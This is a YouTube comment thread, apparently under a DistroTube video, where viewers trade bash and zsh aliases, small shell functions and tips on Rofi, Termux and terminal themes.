    Hi, Can I know your keyboard is which one ? I heard the clear and melodious click of it. I feel it's cook.

  • @jeremyjohansson3445
    @jeremyjohansson3445 4 ปีที่แล้ว

    Hey DT, how do you manage all your keyboard shortcuts across all those different window managers?

  • @juliankandlhofer7553
    @juliankandlhofer7553 4 ปีที่แล้ว +7

    not an alias but a function to automatically ls after each cd:
    function cd {
    builtin cd "$@" && ls
    }

    • @w01dnick
      @w01dnick 4 ปีที่แล้ว +1

      Why would anyone need this as permanent behaviour?

    • @betterh
      @betterh 4 ปีที่แล้ว +3

      alias it as lsd lol

    • @juliankandlhofer7553
      @juliankandlhofer7553 4 ปีที่แล้ว +1

      @@w01dnick why? because I would ls after every cd anyway. there's rarely a time I want to switch to a directory without knowing what's in it.

    • @w01dnick
      @w01dnick 4 ปีที่แล้ว

      @@juliankandlhofer7553 every time? after every cd? usually I know what is in directory to which I switching…

    • @stackspace
      @stackspace 4 ปีที่แล้ว

      @@w01dnick can confirm. i 'ls' after every cd as well. maybe i formed it as a habit early? idk, but this alias helped me! and, actually @Julian Kandlhofer , I made it better:
      function cd() {
      if [ -z "$1" ]; then
      builtin cd ~ && ls -lah --color=auto
      else
      builtin cd "$1" && ls -lah --color=auto
      fi
      }
      This way, you don't lose the ability to 'cd' into home!
      edit: now that I see the code again, i broke the coding standard for 'if' statements -- the most common option should be first. Since is 'cd $1' a lot more than 'cd', I should reverse this.

  • @ghosthaunting15
    @ghosthaunting15 4 ปีที่แล้ว +1

    Hey dt what filemanger you use now??

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว +6

      Emacs. :D

    • @Jorge-xf9gs
      @Jorge-xf9gs 4 ปีที่แล้ว +3

      @@DistroTube lol I wasn't expecting that

  • @juanma9511
    @juanma9511 4 ปีที่แล้ว +1

    Is it possible to use aliases on Rofi ? i really really like Rofi, but it has alias support ?

    • @chimak111
      @chimak111 4 ปีที่แล้ว

      Do you want an alias for example, for something like "rofi -show window -window-match-fields all -window-format "{w} {c} {t}""? I have bound that to a keyboard shortcut. So I can launch it even outside a terminal. Other rofi commands are part of scripts which can be run in a terminal or launched by a keyboard shortcut. More freedom that way!

    • @BrucesWorldofStuff
      @BrucesWorldofStuff 4 ปีที่แล้ว

      @@chimak111 I use keyboard shortcuts for Rofi also as I'm in a SpectrWm window manager. I use little bash scripts and point the keybindings to them...
      Like this one:
      # !/bin/bash
      # this starts Rofi Popup windowed file manager like Dmenu
      rofi -show combi -combi-modi "window,run,ssh" -modi combi
      LLAP

    • @BrucesWorldofStuff
      @BrucesWorldofStuff 4 ปีที่แล้ว

      Hello I use keyboard shortcuts for Rofi also as I'm in a SpectrWm window manager. I use little bash scripts and point the keybindings to them...
      Like this one:
      # !/bin/bash
      # this starts Rofi Popup windowed file manager like Dmenu
      rofi -show combi -combi-modi "window,run,ssh" -modi combi
      LLAP

  • @THIRSTYGNOME
    @THIRSTYGNOME 4 ปีที่แล้ว

    Great video. I know your adopting emacs, but could you make a video discussing Vim vs Neovim? Ignoring the politics between Bram adding/not adding features, is there any reasons to use one of the other? Things such as Performance/unique key bindings in one not the other (concern for sysadmins)/etc.

    • @aidenbuterbaugh1478
      @aidenbuterbaugh1478 2 ปีที่แล้ว

      I personally use neovim purely because of the way that it handles clipboard access. trying to ctrl+shift+v into neovim is so much easier than in normal vim, just handles it better for me

  • @zeocamo
    @zeocamo 4 ปีที่แล้ว

    in zsh .. i don't need the .. alias as if the thing i type/run is a parameter to cd then it will run in cd .... ex. '.config/qtile' will run 'cd .config/qtile'
    q and :q = exit
    c = clear
    gw = goto my work(software) folder
    p = sudo pacman
    up = yay -Syu
    g = git

  • @Sinnersmight
    @Sinnersmight 4 ปีที่แล้ว +2

    Fantastic! This really will help with my setup

  • @BobbyM-p2z
    @BobbyM-p2z ปีที่แล้ว +1

    alias 1='sudo apt-get update && sudo apt-get full-upgrade'

  • @CapnLexCrunch
    @CapnLexCrunch 4 ปีที่แล้ว +2

    Until I get more into the nitty gritty, my aliases are all for launching my Steam games from the terminal, and an echo to neatly display those commands. I find it very quick and handy, and I wish there was a more lightweight Steam client that provided a similar function,

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว

      launching steamgames directly from the commandline? cool show those

    • @CapnLexCrunch
      @CapnLexCrunch 4 ปีที่แล้ว

      It's really simple. You just need the game's appid.
      alias tekken="steam steam://run/389730 & exit"
      To make a simple list of games and their aliases, I made an alphabetized echo alias with the -e option for backslash-escaped formatting so that each game is on its own line.
      alias games="echo -e 'Divinity: Original Sin 2 - dos
      Monster Hunter: World - mhw
      Quake Champions - qc
      Resident Evil 6 - re6
      TEKKEN 7 - tekken'"

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว

      @@CapnLexCrunch mmmmh quake champions
      i see your a man of culture. well except it wont even start on linux. (or atleast for me)

    • @CapnLexCrunch
      @CapnLexCrunch 4 ปีที่แล้ว

      @@urugulu1656 Luckily, it's worked without any (Linux-exclusive) issues out of the box with Proton for me. Plays like native. I wonder what the problem could be.

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว

      @@CapnLexCrunch its long that i tried last im gonna do that now. and let you know. maybe a new proton is all it takes...

  • @urugulu1656
    @urugulu1656 4 ปีที่แล้ว +1

    hey dt where is your git clonealias? you're checking out new stuff all the time so having that would be a great addition

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว +1

      Yea, how did I forget that! I also noticed I didn't have "git init" aliased but how often do you use that.

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว +1

      @@DistroTube well git init not very often and if you do its a concious thing. for the serverside repo creating i have a script.... so no need for that there...

  • @RedEclipse
    @RedEclipse 4 ปีที่แล้ว +9

    alias emacs='nvim'

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว +4

      Drugs are bad, kids!

  • @gordonlee6265
    @gordonlee6265 4 ปีที่แล้ว

    Does fish load the bashrc or do I put these in the config.fish?

  • @flackz16
    @flackz16 4 ปีที่แล้ว +1

    If you use fish shell a lot of these aliases become unnecessary as it remembers the commands for you.

  • @betterh
    @betterh 4 ปีที่แล้ว

    this is duplicate, lines 9 and 35-37
    # PATH="$HOME/.local/bin${PATH:+:${PATH}}" # adding .local/bin to $PATH
    if [ -d "$HOME/.local/bin" ] ;
    then PATH="$HOME/.local/bin:$PATH"
    fi
    found an error: aliases '.3' and '.4' are the same, '.4', '.5', '.6' are missing extra '/..'
    shopt -s checkwinsize (is on by default)

  • @harryvendryes
    @harryvendryes 4 ปีที่แล้ว

    Thinking paru will replace yay. I've already made the switch.

  • @hydronaphthoquinone
    @hydronaphthoquinone 4 ปีที่แล้ว +1

    alias df="df --exclude-type=tmpfs --exclude-type=devtmpfs -h"
    This only shows disks instead of all filesystems.

  • @spotlight-kyd
    @spotlight-kyd 4 ปีที่แล้ว

    Here is an excerpt from my bash config with some handy bash aliases / functions I don't see elsewhere often: gist.github.com/SpotlightKid/ed99a774342d5003db5a8f3e78905e13

  • @duliomatos
    @duliomatos 4 ปีที่แล้ว +1

    A simple one for your Download folder to see the name of or edit just the last created file. e.g.
    alias lf='ls -t | head -n 1'
    alias vlf='vim `lf`'
    For many things I use all day I just create small aliases
    alias f='find . -name'
    alias v='vim'
    alias p='pwd'
    alias l='less'
    alias revert='hg revert -r .~1'
    alias sl='hg sl'
    alias s='hg st'
    alias d='hg diff'
    alias hgf='hg status --rev .^::.'
    alias hgfm='hg status --rev master::.'
    ...
    And for other things I just create a lot of functions inside my bashrc and alias them, e.g. for a dialog that changes the current mercurial bookmark. Probably should explorer 'dialog` more for other stuff
    books() {
    hg log -r "sort(bookmark(), -date)" -T "{bookmarks}
    "
    }
    bookmenu() {
    opts=""
    n=1
    declare -a options
    for b in $(books); do
    options[$n]=$b
    opts=$opts"$n $b ";
    n=$(expr $n + 1)
    done
    choice=$(dialog --clear --backtitle "Mercurial" --title "Change bookmark" --menu "Select a bookmark" 50 100 30 $opts 2>&1 >/dev/tty)
    hg checkout ${options[$choice]}
    }
    alias cb=bookmenu2

  • @robertcrawford4009
    @robertcrawford4009 4 ปีที่แล้ว +2

    I use .bash-personal. If my .bashrc gets over written, it doesn't hurt my alias.

    • @johnnycage3059
      @johnnycage3059 3 ปีที่แล้ว

      How do you make bashrc point to a separate aliases file like that?

  • @SuDaRK
    @SuDaRK 4 ปีที่แล้ว +3

    try "dtrx" tool (Do The Right Extraction)

  • @diasacc
    @diasacc ปีที่แล้ว

    I think alias l.='exa -1ad .* --group-directories-first' is better than piping the output to egrep.

  • @jimmycoconut88
    @jimmycoconut88 4 ปีที่แล้ว

    Is that term theme one dark or sth else? If so, can i ask for the theme? Thanks

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว +1

      Palenight. Look for my alacritty config in my dotfiles repository on my GitLab.

    • @jimmycoconut88
      @jimmycoconut88 4 ปีที่แล้ว

      @@DistroTube love you man, thanks

  • @BaRToLoMaSi
    @BaRToLoMaSi 4 ปีที่แล้ว

    i did the cd alias different, here is my suggestion:
    function cd_up () { cd $(printf "%0.s../" $(seq 1 $')); }
    alias 'cd..'='cd_up'
    This allows me to do cd..X, where X is the number of dirs I want to go up.
    Also, i to all my arch users friends, you must remember to deal with all .pacnew and .pacsave files, so I did:
    alias 'sudo pacman -Syu'='sudo pacman -Syu && pacdiff'
    alias 'yay' = 'yay && pacdiff'
    Where pacdiff will show you what needs to be fixed before you reboot your machine and find out that you broke something :)

  • @gogogogogogogogogogog9
    @gogogogogogogogogogog9 4 ปีที่แล้ว

    the archive one is so nice i applied it and now i dont have to look up for the right command
    thanks alot

  • @zeppelin0110
    @zeppelin0110 4 ปีที่แล้ว

    This is quite belated, but here are some of my favorite aliases (and a few functions):
    # Launch TMUX with 1 pane on top & bottom & focus on the bottom one
    alias tmv='tmux new-session \; split-window -v \; rename-window "Unnamed" \; attach'
    alias rcp='rsync -azP '
    alias q='exit'
    alias sai='sudo apt install '
    alias sau='sudo apt update '
    alias aptuu='sudo apt update && apt list --upgradable && sudo apt upgrade'
    alias editzsh='vim ~/.zshrc'
    alias reloadzsh='exec zsh'
    alias editaliases='vim ~/.zsh_aliases'
    alias reloadaliases='source ~/.zsh_aliases'
    alias edithistory='vim ~/.zsh_history'
    alias nolog='setopt HIST_IGNORE_SPACE'
    alias ccat="highlight --out-format=ansi"
    # ripgrep - far superior to grep and ag
    alias rgi='rg -i'
    # "Search Flag" - search command x's man page for switch y
    # Example: 'sf x y'
    function sf {
    mycmd="LESS='+/-$2' man $1"
    # echo "command: $mycmd"
    eval $mycmd
    }

    • @escribe6751
      @escribe6751 2 ปีที่แล้ว

      could you explain the sf function? i have no idea what is happening there :D

    • @zeppelin0110
      @zeppelin0110 หลายเดือนก่อน +1

      @@escribe6751 Just noticed this now. While I haven't used this function in a long time, it just opens the manual entry for a specific command, then uses LESS to parse it out in a specific way - the '+/-$2' part. I haven't used this since 2020 xD

  • @dolorsitametblue
    @dolorsitametblue 4 ปีที่แล้ว

    Hey DT, there's cool project for Android smartphones, it's a foss project called Termux. It is a terminal emulator that can run many cli linux packages.
    You can check it at wiki.termux.com or at github.com/termux . Apk is available for install here: f-droid.org/en/packages/com.termux/
    and in F-droid app. You can install it within an android emulator, so it'll be easy to record footage.

  • @dolorsitametblue
    @dolorsitametblue 4 ปีที่แล้ว

    This are my aliases in Termux (Android's terminal emulator with packages):
    alias zcfg='vim ~/.zshrc && source ~/.zshrc' #edit rc file and apply changes
    alias lss='ls --color -sSAh --group-directories-first' #ls but show file sizes and sort from big to small
    cdd(){ cd $@ && lss } #not an alias but close, print contents of directory, where you 'cd'
    #pkg is a wrapper for apt-get
    alias pi='pkg install'
    alias pr='pkg uninstall'
    alias pu='pkg upgrade'
    alias par='apt auto-remove'